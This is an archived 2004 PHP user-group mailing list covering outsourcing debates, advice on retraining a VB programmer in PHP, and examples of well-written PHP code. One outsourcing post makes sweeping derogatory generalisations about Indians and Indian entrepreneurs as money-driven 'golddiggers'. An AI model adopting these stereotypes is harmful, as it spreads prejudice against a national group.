participate? (btw, this is what is so cool about the free software movement -- it is based on the bounty of communal cooperation and not the scarcity of individualist hording.) noodling. stephen From tgales at tgaconnect.com Wed Jun 30 11:27:13 2004 From: tgales at tgaconnect.com (Tim Gales) Date: Wed, 30 Jun 2004 11:27:13 -0400 Subject: [nycphp-talk] The Difference Between OutSourcing and OpenSourcingis More Than a Few Letters In-Reply-To: <12194-82732@sneakemail.com> Message-ID: <002801c45eb6$b872b300$e98d3818@oberon1> inforequest writes: > Faber Fedor faber-at-linuxnj.com |nyphp 04/2004| wrote: ... > >BTW, does anyone know of a successful off-shored project that wasn't > >brought back on-shore because it was a disaster? I've never > heard of > >one. > > > > The threat is used all the time, but in my exerience good > people who are > threatened leave -- as opposed to settling for less pay. Maybe they > don't lave right away, but they commit to leaving at first > opportunity. > I know of a money center bank, who (more than) hinted that they were looking into outsourcing. They suffered a brain-drain of about twenty developers (out of about 110) within two months. The two executives responsible for the 'brainchild' also left the company -- ostensibly for greener pastures. T. Gales & Associates 'Helping People Connect with Technology' http://www.tgaconnect.com From Cbielanski at inta.org Wed Jun 30 11:32:36 2004 From: Cbielanski at inta.org (Chris Bielanski) Date: Wed, 30 Jun 2004 11:32:36 -0400 Subject: [nycphp-talk] The Difference Between OutSourcing and OpenSourc ing is More Than a Few Letters Message-ID: > -----Original Message----- > From: Stephen Musgrave [mailto:stephen at musgrave.org] ... > this is begging the question: when does an economic system > undermine the > needs of the the society it is designed to serve? (it's a > loaded question, > too.) It probably is viewed as "undermining" when a person's ability to maintain their revolving debt and/or the quality of life to which they are accustomed is hampered by a lack of wage-bearing work. Or in other words, "I got my Oracle DBA ticket so I can buy a Hummer but the company where I work switched out to direct consulting from Oracle after I was a year into the payments. Now I can't afford my Hummer!! #%*@%^@#^ outsourcing SUCKS!!" Thanks, Chris Bielanski Web Programmer, International Trademark Association, 1133 Avenue of the Americas, 33rd Floor New York, NY 10036 +1 (212) 642-1745, f: +1 (212) 768-7796 mailto:cbielanski at inta.org, www.inta.org INTA -- 125 Years of Excellence From jonbaer at jonbaer.net Wed Jun 30 11:29:30 2004 From: jonbaer at jonbaer.net (Jon Baer) Date: Wed, 30 Jun 2004 11:29:30 -0400 Subject: [nycphp-talk] Off Topic: International Outsourcing In-Reply-To: <9455-22925@sneakemail.com> References: <001301c45e9f$27205d60$e98d3818@oberon1> <9455-22925@sneakemail.com> Message-ID: <20040630152930.GA16260@jonbaer.net> What would be the strongest authentication process for this do you think? For example is tunneling ssh or stunnel the very best method considering that a) both end points have to be setup on the box already (user) and b) using public key authentication is considered "safe" for the time being. Im trying to think in terms of a smooth safe transaction (ive seen alot of recommendations for "Secure-XML" but have not followed up on it in a while, OASIS had their own method from what I recall. - Jon > PHP5 on dedicated hardware on a dedicited line between two points, > shuttling data feeds. Sounds like a *nix router to me... one that is > on-the-fly-configurable with one of the strongest parsing languages > available, built from the ground up for web services. -- pgp key: http://www.jonbaer.net/jonbaer.asc fingerprint: F438 A47E C45E 8B27 F68C 1F9B 41DB DB8B 9A0C AF47 -------------- next part -------------- A non-text attachment was scrubbed... Name: not available Type: application/pgp-signature Size: 189 bytes Desc: not available URL: From stephen at musgrave.org Wed Jun 30 11:44:34 2004 From: stephen at musgrave.org (Stephen Musgrave) Date: Wed, 30 Jun 2004 11:44:34 -0400 Subject: [nycphp-talk] The Difference Between OutSourcing and OpenSourc ing is More Than a Few Letters In-Reply-To: Message-ID: >> this is begging the question: when does an economic system >> undermine the >> needs of the the society it is designed to serve? (it's a >> loaded question, >> too.) > > It probably is viewed as "undermining" when a person's ability to maintain > their revolving debt and/or the quality of life to which they are accustomed > is hampered by a lack of wage-bearing work. hehe.. i feel the cynicism! ;-) your illustration points out the inherent conflict of interest between a society and an individualists perspective. is fraternity hopeless against the tide of globalization? it seems to me that a more tempered market system that measures all factors in the cost/benefit analysis, not just the GDP, is warranted: the genuine progress indicator: http://www.redefiningprogress.org/projects/gpi/ stephen From brian at vermonster.com Wed Jun 30 11:49:51 2004 From: brian at vermonster.com (Brian Kaney) Date: Wed, 30 Jun 2004 11:49:51 -0400 Subject: [nycphp-talk] The Difference Between OutSourcing and OpenSourcing is More Than a Few Letters In-Reply-To: References: Message-ID: <1088610591.9185.10.camel@brian.vermonster.com> On Wed, 2004-06-30 at 11:23, Stephen Musgrave wrote: > > this is begging the question: when does an economic system undermine the > needs of the the society it is designed to serve? (it's a loaded question, > too.) Well if an economic system were to limit you to 5% of the total market we'd all eventually be undermined (http://www.census.gov/main/www/popclock.html). Innovation is the single ingredient that allows countries like the US to keep such a large slice of the world's economic pie, even with open/liberal/free trade. We just need to make sure we don't start outsourcing it as well. From shiflett at php.net Wed Jun 30 11:53:42 2004 From: shiflett at php.net (Chris Shiflett) Date: Wed, 30 Jun 2004 08:53:42 -0700 (PDT) Subject: [nycphp-talk] Good PHP Apps (Was: suggestions for re-training of a junior VB/.netprogrammer) In-Reply-To: <41EE526EC2D3C74286415780D3BA9F8702D25314@ehost011-1.exch011.intermedia.net> Message-ID: <20040630155342.44631.qmail@web52807.mail.yahoo.com> --- Hans Zaunere wrote: > Another effective way of learning is to hack around with someone else's > code. For instance, take a small, fairly well written PHP application > and tell him "it does X now, I need it to do Y". This is a great suggestion, and I've given this advice in the past myself, but I think we might want to mention a few examples. Let's be honest - 99% of open source applications written in PHP exhibit awful design, poor programming practices, and blatant disregard to security. I'm afraid that people will "learn PHP" by hacking on something like phpBB, unless we point them in the right direction. Unfortunately, I don't know of any good examples. I've heard good things about coWiki's code. Anyone know of other well-written PHP applications? Chris ===== Chris Shiflett - http://shiflett.org/ PHP Security - O'Reilly Coming Fall 2004 HTTP Developer's Handbook - Sams http://httphandbook.org/ PHP Community Site http://phpcommunity.org/ From shiflett at php.net Wed Jun 30 11:57:26 2004 From: shiflett at php.net (Chris Shiflett) Date: Wed, 30 Jun 2004 08:57:26 -0700 (PDT) Subject: [nycphp-talk] OT: Need help with XP and HP LaserJet 2200 In-Reply-To: <40E2D4A7.6030701@adnet-sys.com> Message-ID: <20040630155726.4090.qmail@web52810.mail.yahoo.com> --- Phillip Powell wrote: > Please explain "signal-to-noise" that expression is Greek to me. Here's a hint: you're noise. :-) Chris From sklar at sklar.com Wed Jun 30 12:05:01 2004 From: sklar at sklar.com (David Sklar) Date: Wed, 30 Jun 2004 12:05:01 -0400 Subject: [nycphp-talk] Re: [nycphp-announce] The NYPHP Charter has been revised Message-ID: <40E2E4AD.5030702@sklar.com> > The mailing lists of New York PHP may not be used to > > (1) promote any commercial activities unless that posting has received > prior board approval, in which case the posting shall include the > words > "This posting has been approved by the Board of New York PHP"; How does this apply to the replies when someone posts a message saying, e.g. "I want to go buy a PHP {magazine|book|training class|conference admission|fuzzy bunny|etc.}. What's the best one for me?" David From faber at linuxnj.com Wed Jun 30 12:05:07 2004 From: faber at linuxnj.com (Faber Fedor) Date: Wed, 30 Jun 2004 12:05:07 -0400 Subject: [nycphp-talk] The Difference Between OutSourcing and OpenSourcing is More Than a Few Letters In-Reply-To: References: <12194-82732@sneakemail.com> Message-ID: <20040630160507.GA22056@uranus.faber.nom> On Wed, Jun 30, 2004 at 11:23:55AM -0400, Stephen Musgrave wrote: > > > outsourcing was being used to drop salary requirements for techs; move > > work offshore, lay off people, salaries drop, then bring the work back on > > shore hire the techies at much lower prices. > > this is begging the question: when does an economic system undermine the > needs of the the society it is designed to serve? (it's a loaded question, > too.) I guess the first thing you would need to do is define "society". Is it just the US or the world or some subset thereof? > capitalism has historically served as a mechanism for increased > opportunities. by allowing the individual entity to work towards their own selfish ends. > i'm starting to wonder how the current state of neo-liberal > economic policies are serving me, See? :-) > my nation and the world at large. so long > as labor practices are fair in these off-shore locations, the gain remains > static (or even greater) in the aggregate world view, but that doesn't help > the local needs. Keep in mind that the aggregate view and the local view are fractal; we're discussing world v nation, but it also applies to nation v state and regions v municiplaities, etc. > (btw, this is what is so cool about the free software movement -- it is > based on the bounty of communal cooperation and not the scarcity of > individualist hording.) True, but the selfishisness (in FOSS term the "itch to scratch") is still paramount, IMO. -- Regards, Faber Linux New Jersey: Open Source Solutions for New Jersey http://www.linuxnj.com From sm11szw02 at sneakemail.com Wed Jun 30 12:05:19 2004 From: sm11szw02 at sneakemail.com (inforequest) Date: Wed, 30 Jun 2004 12:05:19 -0400 Subject: [nycphp-talk] Off Topic: International Outsourcing In-Reply-To: <40E237A7.40700@ceruleansky.com> References: <40E237A7.40700@ceruleansky.com> Message-ID: <25636-53715@sneakemail.com> Jayesh Sheth jayeshsh-at-ceruleansky.com |nyphp 04/2004| wrote: > I come to this issue with very mixed feelings. I grew up in India - > the country that now strikes fear into many hearts because programmers > there are happy to work at lower wages than people in America are. I > have recent seen (in business dealings) that when I mention India, > there is visible wince. And least is some cases, the wince is due to a disagreement with the Indian *value system*. While we are aware of the homeless on our streets while we walk to our high-paying jobs, we are also aware that we have done alot to help them. I won't argue that we have done *enough*, but the average American knowledge worker can justify going to work and living a decent life, and many of them feel guilty about less fortunates and do try to help them with donations and support. Now when we see India and we see "knowledge workers" zipping along on motorbikes to good jobs, and outsourcing entrepreneur millionaires boasting of their castle-like compounds, with *extreme* poverty widespread, and many, many living with the relative equivalent of slaves in their families' homes, we judge them for their values. Golddiggers come to mind, and the Goldrush mentality. People who behave like that are often scorned. They are choosing to shop for Prada on the streets of a city world famous for street poverty. We are choosing to shop for Prada on streets famous for entrepreneurial opportunity (so famous, it is a target for anti-American and anti-capitalist terrorism). Of course we similarly scorn our corporate theiven, overpaid CEOs and monpolistic robber-barrons. It is argued that theose people are not the norm, and many argue they are a necessary evil for a hierarcical system. How many stories can India produce where street poor from the lowest caste became jet-set millionaires based on their cunning, luck, ingenuity, and hard work? We can count hundreds of thousands at least... too many to try and count. If you say it is too soon, ok. But do we have faith that the Indian social system will encourage such equal opportunity? Our system is biased by corruption, and we had our robber-barrons, but our system is not (yet) systematic corruption. You call it "the bright light of the Indian spring" and we know it as a spark. Unless nurtured carefully and with respect, it ain't gonne be a bright light of spring for long. When I see (and I do see) Indian outsourcing entrepreneurs hawking their cheap labor at every network meeting in high-tech North Jersey, I dislike them for their agressive gold-rush demeanor, and their detachment from the social issues. It is all about money for them. Will I do business with them? Yeah, the next time I want to do business that is all about money (PS: I never do business that is all about money). > Then I come back to New York - to this economy. It is still a bit > slushy in March - the grey snow does not seem to have fully melted > (at least not in my mind). I seem to catch the glare of another angry > New Yorker out of the corner of my eye. And then it hits me: I am > another bitter New Yorker myself. > Yup.. happens to the best of us. That early April snow makes quite a mess on New York streets. Books have been written about the New York rudeness. Look up the Kitty Genovese story and re-hash that pop psych stuff, or go visit China and see how society handles being even more crowded than NYC, with the addition of an oppresive culture-control government. It certainly makes poetry harder to understand, but the beauty is still in there, sometimes richer than ever -- you have to know how to find it. > I recently posted a help wanted ad on Craigslist for an internship > with a modest stipend ($500 per month). I got over 100 responses, some > from people with MBAs and Computer Engineering degrees. And I went to graduate school with Indian students who already had 4 and 5 Master's degrees, working on their next. I went with Taiwanese students of "Environmental Engineering" who earned top grades yet had no interest at all in anything but the computer business. Would I hire someone who had 5 Master Degrees? Nope. Would I hire the guy with a passion for the computer business, if I needed an environmental engineer? Nope. What's the point? I don't know many managers who would hire someone off Craig's List. If that's where you compete, good for you. But do you really expect to find top people advertising on Craig's list for $500 internships? > If it's the market meeting out the justice, then justice is already at > work - if qualified people in New York are willing to work for $500 > per month, then India has just been out priced. There is too much > demand for people who speak English well there - so much, in fact - > that their market cannot catch up fast enough. It's not the market (yet). It's an entrepreneurial experiment on a large scale, feeding the low end of demand for anonymous workers. It will correct, and then we will see what fits where. > For the last one hundred years, America has seen a dramatic growth in > prosperity. Perhaps now it is time for other nations to stake their > claim at the same thing. Yawn. It's not a serial game, and America has not the monopoly. Now if you want to adjust your culture and >1 billion person consumer markets to mirror ours (I think they call it "westernizing") then hey, guess what? Your consumer market starts to look just like ours, and we can sell into it and perhaps even dominate it! Woohoo! But are consumer markets everything? What about ancient Greece and Rome, Egyptia, other former leading civilizations? Are they remembered for their Coke's, their Big Mac's, and their Chia Pets? Very interesting stuff for a PHP talk list, for sure. I've got a free-as-in-software beer for Jay any time he wants to claim it. -=john From joel at tagword.com Wed Jun 30 13:34:21 2004 From: joel at tagword.com (Joel De Gan) Date: Wed, 30 Jun 2004 13:34:21 -0400 Subject: [nycphp-talk] Good PHP Apps (Was: suggestions for re-training of a junior VB/.netprogrammer) In-Reply-To: <20040630155342.44631.qmail@web52807.mail.yahoo.com> References: <20040630155342.44631.qmail@web52807.mail.yahoo.com> Message-ID: <1088616861.26583.32.camel@bezel> On Wed, 2004-06-30 at 11:53, Chris Shiflett wrote: > Unfortunately, I don't know of any good examples. I've heard good things > about coWiki's code. Anyone know of other well-written PHP applications? Well.. basically, avoid just about anything on hotscripts.com it is 99% "my first application" stuff.. Though, sometimes there is some interesting approaches there. As for hacking on shit, I learned a *LOT* from hacking on the ad server called OASIS. Most of the apps that have web-based installs are also worth looking at as that displays a level of skill that the "my first app" guys will not have. Just some thoughts. -- joeldg - developer, Intercosmos media group. http://lucifer.intercosmos.net From jeffknight at mac.com Wed Jun 30 12:15:12 2004 From: jeffknight at mac.com (Jeff Knight) Date: Wed, 30 Jun 2004 12:15:12 -0400 Subject: [nycphp-talk] Re: [nycphp-announce] The NYPHP Charter has been revised In-Reply-To: <40E2E4AD.5030702@sklar.com> References: <40E2E4AD.5030702@sklar.com> Message-ID: On Jun 30, 2004, at 12:05 PM, David Sklar wrote: > How does this apply to the replies when someone posts a message > saying, e.g. "I want to go buy a PHP {magazine|book|training > class|conference admission|fuzzy bunny|etc.}. What's the best one for > me?" Honest answers to honest questions are always welcome, obvious, blatant shills are not, or at least not without prior approval... jeff.knight at nyphp.org From sm11szw02 at sneakemail.com Wed Jun 30 12:16:58 2004 From: sm11szw02 at sneakemail.com (inforequest) Date: Wed, 30 Jun 2004 12:16:58 -0400 Subject: [nycphp-talk] suggestions for re-training of a junior VB/.netprogrammer In-Reply-To: <41EE526EC2D3C74286415780D3BA9F8702D25314@ehost011-1.exch011.intermedia.net> References: <41EE526EC2D3C74286415780D3BA9F8702D25314@ehost011-1.exch011.intermedia.net> Message-ID: <28902-79546@sneakemail.com> Hans Zaunere hans-at-nyphp.com |nyphp 04/2004| wrote: >Also, I know we had talked about free workshops/install fests/ for AMP, >which seems inline with exactly what he needs. We could even have one >for "Moving from VB to PHP." This might be perfect motivation to get >this project underway, especially if we can find some free space to hold >the event at. > >H > > I would think this would be a good cross-group fertilization mechanism.... one that might get vocal support from various other user groups in NY. From preinheimer at gmail.com Wed Jun 30 12:22:25 2004 From: preinheimer at gmail.com (Paul Reinheimer) Date: Wed, 30 Jun 2004 12:22:25 -0400 Subject: [nycphp-talk] Introduction Message-ID: <6ec19ec70406300922d00dfe1@mail.gmail.com> Hello All, I have had the pleasure of attending two NyPHP meetings (the most recent two in fact) and really enjoyed them, and hope to continue the learning by joining and participating in this list. It was suggested that I introduce myself, so here goes. I am living in NYC for the summer on a work visa, and will be returning to Canada on or before August 31, or Homeland Security will be more than happy to assist me to the nearest detention center. I started playing with PHP quite a while back in what I might is the standard way for programmers. I was using a program (phpBB) that someone else wrote and was curious as to how it worked. Experimented for a while, discovered I enjoyed coding in PHP, and the rest they say is history. I am currently working for MetaMachine (authors of eDonkey & Overnet) here in NYC, and am able to use PHP on a limited basis, making changes to phpBB and cleaning up some of the admin interfaces we use to manage our User & Advertiser accounts. I have used PHP in many personal (my website, small pet sites, etc,) and professional (here, built the Enwin Utilities corporate intranet, etc) projects, and am looking forward to PHP5. My particular interests in PHP would be scalability, templating and security. thanks for having me paul From sm11szw02 at sneakemail.com Wed Jun 30 12:41:00 2004 From: sm11szw02 at sneakemail.com (inforequest) Date: Wed, 30 Jun 2004 12:41:00 -0400 Subject: [nycphp-talk] Good PHP Apps (Was: suggestions for re-training of a junior VB/.netprogrammer) In-Reply-To: <1088616861.26583.32.camel@bezel> References: <20040630155342.44631.qmail@web52807.mail.yahoo.com> <1088616861.26583.32.camel@bezel> Message-ID: <8628-22912@sneakemail.com> Joel De Gan joel-at-tagword.com |nyphp 04/2004| wrote: >On Wed, 2004-06-30 at 11:53, Chris Shiflett wrote: > > >>Unfortunately, I don't know of any good examples. I've heard good things >>about coWiki's code. Anyone know of other well-written PHP applications? >> >> > >Well.. >basically, avoid just about anything on hotscripts.com it is 99% "my >first application" stuff.. Though, sometimes there is some interesting >approaches there. > >As for hacking on shit, I learned a *LOT* from hacking on the ad server >called OASIS. > >Most of the apps that have web-based installs are also worth looking at >as that displays a level of skill that the "my first app" guys will not >have. > >Just some thoughts. > I completely appreciate the posts, but right from the start these things are exactly what stops a VB person from going PHP. In VB/M$ land, "Hello World" is an example of professional programming. In OS/PHP land (to read these recent posts) even writing phpBB is unworthy. People need to feel they are "OK programmers with an opportunity to be great" not crappy-programmers-in-need-of-improvement. Granted, we are all crappy programmers seeking perfection, but might that confidence be the separator between the M$ camp followers and the OS people? Asking this guy to build a box is way over his head. Agreed that is a problem, but giving him a box to build doesn't get him there. Asking him to hack on an ad-server app will require careful 1:1 scrutiny with a considerable level of PHP expertise - not an option. I agree completely about the need to rate hotscripts and the like for "appropriateness" but that doesn't exist either. These are great ideas for talking an average PHPprogrammer to new levels of understanding (I'd like to do them myself, thanks for the suggestions :-) but not the newbie/VB person. I thought InvisionBoard would be good to show how OO *was* used with PHP4 scripts (it's totally coded around a constructor-based layout) but with PHP5's OO revamping of OO that may not be a good idea. I thought my own html header management stuff would be good for teaching how PHP is used as a server-side HTML management system, shy of templating, but there is way too much platform stuff involved, and the objectives are all SEO and semantic marketing - way over his head and not something I want to be training. I am very close to setting him loose with the CLI as a parsing tool and having him build an access log analyzer.... tons of good PHP to do, modular approach, constant parallels to VI and *nix CL tools, etc and I can even set him loose on WebTrends so compare results... but he's not my hire so unless I can garner value from that idea I can't afford the time. I might add that these people spend alot more money on tools and stuff than the OS people I know... perhaps if there isn't a community resource to encourage/support crossover to OS/PHP land, there is opportunity for a short course on building a box/setting up LAMP, to be sold to such people used to buying things like VB add-ons and widgets? -=john From sm11szw02 at sneakemail.com Wed Jun 30 12:44:10 2004 From: sm11szw02 at sneakemail.com (inforequest) Date: Wed, 30 Jun 2004 12:44:10 -0400 Subject: [nycphp-talk] Re: [nycphp-announce] The NYPHP Charter has been revised In-Reply-To: References: <40E2E4AD.5030702@sklar.com> Message-ID: <2544-86567@sneakemail.com> Jeff Knight jeffknight-at-mac.com |nyphp 04/2004| wrote: > On Jun 30, 2004, at 12:05 PM, David Sklar wrote: > >> How does this apply to the replies when someone posts a message >> saying, e.g. "I want to go buy a PHP {magazine|book|training >> class|conference admission|fuzzy bunny|etc.}. What's the best one for >> me?" > > > Honest answers to honest questions are always welcome, obvious, > blatant shills are not, or at least not without prior approval... > > jeff.knight at nyphp.org Obviously, if they want the best PHP textbook ever written they simply need only go over to http://www.davidsklar.com/ (and eliminate their debt, so they have room on their credit card to buy the book ;-) -=john ---------------------------------------------------------------------------------------- From joel at tagword.com Wed Jun 30 14:21:36 2004 From: joel at tagword.com (Joel De Gan) Date: Wed, 30 Jun 2004 14:21:36 -0400 Subject: [nycphp-talk] Good PHP Apps (Was: suggestions for re-training of a junior VB/.netprogrammer) In-Reply-To: <8628-22912@sneakemail.com> References: <20040630155342.44631.qmail@web52807.mail.yahoo.com> <1088616861.26583.32.camel@bezel> <8628-22912@sneakemail.com> Message-ID: <1088619695.26575.40.camel@bezel> On Wed, 2004-06-30 at 12:41, inforequest wrote: > I completely appreciate the posts, but right from the start these things > are exactly what stops a VB person from going PHP. Hrm, when I first started PHP I was coming from a Microsoft shop. They had me build a code repository in PHP as a way for me just to get my feet wet. > In VB/M$ land, "Hello World" is an example of professional programming. > In OS/PHP land (to read these recent posts) even writing phpBB is unworthy. There are good examples and bad examples, the majority on "app" sites is not good, we are not saying they all are. Pick careful. > People need to feel they are "OK programmers with an opportunity to be > great" not crappy-programmers-in-need-of-improvement. Granted, we are > all crappy programmers seeking perfection, but might that confidence be > the separator between the M$ camp followers and the OS people? True, have him make a simple app with no real expectations for it. Give him a two week (or one) timeline. The main points to focus on are Database queries (selects/inserts/deletes) and display (for web based stuff) > Asking this guy to build a box is way over his head. Agreed that is a > problem, but giving him a box to build doesn't get him there. Asking him > to hack on an ad-server app will require careful 1:1 scrutiny with a > considerable level of PHP expertise - not an option. I agree completely > about the need to rate hotscripts and the like for "appropriateness" but > that doesn't exist either. These are great ideas for talking an average > PHPprogrammer to new levels of understanding (I'd like to do them > myself, thanks for the suggestions :-) but not the newbie/VB person. I agree, asking a noob to 'build' a box is going to send them into panic mode. I suppose that baby-steps would be a better option here. > I am very close to setting him loose with the CLI as a parsing tool and > having him build an access log analyzer.... tons of good PHP to do, > modular approach, constant parallels to VI and *nix CL tools, etc and I > can even set him loose on WebTrends so compare results... but he's not > my hire so unless I can garner value from that idea I can't afford the time. Perfect, that will also teach him a lot about linux in the process without throwing him in the deep end. > I might add that these people spend alot more money on tools and stuff > than the OS people I know... perhaps if there isn't a community resource > to encourage/support crossover to OS/PHP land, there is opportunity for > a short course on building a box/setting up LAMP, to be sold to such > people used to buying things like VB add-ons and widgets? VB programming has a lot of comparatives in PHP (you would be surprised) a lot of the core ideas and techniques are the same.. Speaking of which, mono 1.0 came out today so I am off to play with that, I may move my little sprites app over to GTK# -- joeldg - developer, Intercosmos media group. http://lucifer.intercosmos.net From ajai at bitblit.net Wed Jun 30 12:57:03 2004 From: ajai at bitblit.net (Ajai Khattri) Date: Wed, 30 Jun 2004 12:57:03 -0400 Subject: [nycphp-talk] Off Topic: International Outsourcing In-Reply-To: <28524-52777@sneakemail.com> References: <40E1D0CB.3050504@newnewmedia.com> <009801c45e1f$c97bafe0$7201a8c0@iifwp.local> <009401c45e23$4966d9c0$0a01a8c0@webdev> <40E1E61F.5040706@bitblit.net> <28524-52777@sneakemail.com> Message-ID: <40E2F0DF.2050600@bitblit.net> inforequest wrote: > That is the new American entrpreneur. Do it... stop talking about it. > You know why? Yes I know - though starting now without any savings to live on during the transition would be a tad foolish don't you think? Im working on some online business ideas to make enough money to fund the departure... > Because once you become a "farmer" you will see how the farming > business operates. You will learn how it manages risk, how it manages > information flow, and how it squeezes profits from the channel, the > market, the government. Then you will see opportunity -- in deploying > IT within farming. > > You will start to deploy IT in new inovative ways, as a "farmer". > Pretty soon you will be carvig out a new niche, and the other farmers > will be following your lead, and the IT revolution will extend deeper > into farming because of you. And then one day, you will look at the > racks of servers you have built up in your barn, and say "I'm thinking > of getting out of IT.... perhaps moving far away and becoming > arafting travel guide...." Believe me, I have thought about this many times (Visions of hydroponic farms with computer-controlled climate and irrigation systems feature prominently in my thinking). I have a friend who left New York and went to live in New Mexico. He bought 6 acres outside of Taos and is planning to build an "earthship" (for those of you that don't know, an earthship is an environment-friendly self-sustaining dwelling - we're talking solar panels, geothermal systems, harvesting rain water, natural sewage systems, etc etc. See http://earthships.org/ for info). > I am hopeful everyone working for someone else in IT will see the > light before they are 45 years old, and go their own way. If you are > willing to take the risk of chucking it all to become a farmer, why > not take the lesser risk of chucking the job to go it on your own? I was thinking of before I get to 40 years old myself... -- Aj. Systems Administrator / Developer From tgales at tgaconnect.com Wed Jun 30 13:01:13 2004 From: tgales at tgaconnect.com (Tim Gales) Date: Wed, 30 Jun 2004 13:01:13 -0400 Subject: [nycphp-talk] suggestions for re-training of a juniorVB/.netprogrammer In-Reply-To: <41EE526EC2D3C74286415780D3BA9F8702D25314@ehost011-1.exch011.intermedia.net> Message-ID: <003201c45ec3$da752340$e98d3818@oberon1> - > From: talk-bounces at lists.nyphp.org > [mailto:talk-bounces at lists.nyphp.org] On Behalf Of Hans Zaunere > Sent: Wednesday, June 30, 2004 10:36 AM > To: NYPHP Talk > Subject: RE: [nycphp-talk] suggestions for re-training of a > juniorVB/.netprogrammer > > > > > I have a friend who hired a junior programmer/relative (!) > > who has only worked with VB and VB/.net on IIS. He > > recognizes the need to re-track this person onto PHP on his > > existing LAMP platform. > > Excellent... > > > He wants a short-time-duration (inside 6 months) plan to > > bring the programmer up to speed, so he can assume similar > > level responsibilities on LAMP. The idea is to avoid > > expensive text-book style training, and also avoid 1:1 > > dedication from the senior people at this stage (he wants to > > get him at least to the junior scripter level first). > > The best way to learn is to do. As already mentioned, tell > him to bring a LAMP box online and have him write a couple > applications. Start with real simple stuff, then grow into > more complex applications. > Also you could keep an eye out for projects that New York PHP will be doing. Perhaps you could get the friend's programmer involved with one which would help him understand how to develop in PHP. I am pretty sure the guys working on the projects would help him over any 'rough spots' he might encounter. Although you can discover a lot by working on you own, it's definitely quicker to have an experienced hand help you. T. Gales & Associates 'Helping People Connect with Technology' http://www.tgaconnect.com From jonbaer at jonbaer.net Wed Jun 30 13:01:18 2004 From: jonbaer at jonbaer.net (jonbaer at jonbaer.net) Date: Wed, 30 Jun 2004 13:01:18 -0400 Subject: [nycphp-talk] Good PHP Apps (Was: suggestions for re-training of a junior VB/.netprogrammer) In-Reply-To: <20040630155342.44631.qmail@web52807.mail.yahoo.com> References: <41EE526EC2D3C74286415780D3BA9F8702D25314@ehost011-1.exch011.intermedia.net> <20040630155342.44631.qmail@web52807.mail.yahoo.com> Message-ID: <20040630170118.GA17107@jonbaer.net> Here is my beleif ... the best way to accomplish good programming practice is to first, think like a hacker, some of the best books to read @ any programming language level are those spooky ones, know your enemy, etc, etc, etc ... The reason for this is extremely important, you want to get to know what a hacker will get out of your application ... for example the classic man-in-the-middle attack of someone on the network eavesdropping ... if you write a PHP app for SOAP<->SOAP communication and it works along the network *but* has sensative info, you should run apps to capture this data and view it for yourself. It took almost a year of reading security books to understand the implications of non-secure programming design. Chris's CSRF opens a whole new level for myself (not sure about others) on bad code which Ive written that I had to go back and explore, however if I would have taken the time to understand it in the beginning I would have been better off. Also, 8 out of 10 people I know use pre-packaged software with the same exact table information,layout,design,etc as the original. Think about it, if someone hacks and figures out something malicious on one package, it leaves everything else open and to myself this is the #1 item which has given PHP a bad name because if everyone is going to use PHP-Nuke the same way then you are open to bad stuff. Anyways, PHP is a learning experience that should emphasis security first and foremost, it should be the 1st chapter in every book but unfortunatley its not. For example if CSRF/XSS was covered *first* and mandated in every PHP book to be there (like a generic thing) vs. just a blurb or cute warning box, it would really help the language and its learning programmers. - Jon > This is a great suggestion, and I've given this advice in the past myself, > but I think we might want to mention a few examples. Let's be honest - 99% > of open source applications written in PHP exhibit awful design, poor > programming practices, and blatant disregard to security. I'm afraid that > people will "learn PHP" by hacking on something like phpBB, unless we > point them in the right direction. -- pgp key: http://www.jonbaer.net/jonbaer.asc fingerprint: F438 A47E C45E 8B27 F68C 1F9B 41DB DB8B 9A0C AF47 -------------- next part -------------- A non-text attachment was scrubbed... Name: not available Type: application/pgp-signature Size: 189 bytes Desc: not available URL: From tgales at tgaconnect.com Wed Jun 30 13:23:46 2004 From: tgales at tgaconnect.com (Tim Gales) Date: Wed, 30 Jun 2004 13:23:46 -0400 Subject: [nycphp-talk] Good PHP Apps (Was: suggestions for re-trainingof a junior VB/.netprogrammer) In-Reply-To: <1088619695.26575.40.camel@bezel> Message-ID: <003c01c45ec7$007f92c0$e98d3818@oberon1> Joel De Gan writes: > VB programming has a lot of comparatives in PHP (you would be > surprised) a lot of the core ideas and techniques are the same.. > Many VB6 programmers feel abandoned by MicroShaft. Too often they feel their only options are vb.net or C# -- some are waking up to PHP though. (ditto on the similarities) T. Gales & Associates 'Helping People Connect with Technology' http://www.tgaconnect.com From joel at tagword.com Wed Jun 30 15:00:50 2004 From: joel at tagword.com (Joel De Gan) Date: Wed, 30 Jun 2004 15:00:50 -0400 Subject: [nycphp-talk] Good PHP Apps (Was: suggestions for re-trainingof a junior VB/.netprogrammer) In-Reply-To: <003c01c45ec7$007f92c0$e98d3818@oberon1> References: <003c01c45ec7$007f92c0$e98d3818@oberon1> Message-ID: <1088622050.26578.44.camel@bezel> On Wed, 2004-06-30 at 13:23, Tim Gales wrote: > Many VB6 programmers feel abandoned by MicroShaft. > > Too often they feel their only options are vb.net or C# -- > some are waking up to PHP though. funny that you mention because I am sitting here installing the new mono 1.0 and monodevelop which is .net C# and gtk# for cross platform apps.. Have a few apps I need to make, and I may also do my screensaver app in this and keep the server portion in php.. As this supports graphics libs so that I don't have to write my own... :) -- joeldg - developer, Intercosmos media group. http://lucifer.intercosmos.net From jsiegel1 at optonline.net Wed Jun 30 13:49:40 2004 From: jsiegel1 at optonline.net (Jeff Siegel) Date: Wed, 30 Jun 2004 13:49:40 -0400 Subject: [nycphp-talk] Good PHP Apps (Was: suggestions for re-training of a junior VB/.netprogrammer) In-Reply-To: <8628-22912@sneakemail.com> References: <20040630155342.44631.qmail@web52807.mail.yahoo.com> <1088616861.26583.32.camel@bezel> <8628-22912@sneakemail.com> Message-ID: <40E2FD34.30005@optonline.net> I go back to the VB3 days and have used VB4 and VB6. When .NET came out I said, "Dot to heck with that!" As for making the shift to LAMP, this was the approach I took (not all that different from what had been proposed by others). a) Got an old PC. b) Got RH Linux 9 bible and learned to set up and configure Linux and set up a web server (the PHundamentals article at http://phundamentals.nyphp.org/PH_virtualhosting.php is based, in part, on my experience with setting up a server). I had to reinstall it four or five times till I got it right. c) Installed Putty and got used to using SSH. (Note: the above (a,b,c) required learning how to set up services; using basic commands such as ll; mkdir; less; grep; how to set up permissions; how to use Pico, etc. All this stuff learned from setting up a box is useful.) d) Picked up a bunch of books some of which are listed here (http://phundamentals.nyphp.org/PH_bookrecommendations.php) though I would now add to the list Rasmus/Lerdorf "Programming PHP" and Williams/Lane "Web Database Applications" which has a great application to learn from. I would not recommend throwing a VB coder into the land of "classes and objects" in PHP until the programmer has more familiarity with the workings of PHP. The syntactical differences between VB (pre VB.NET, that is) and 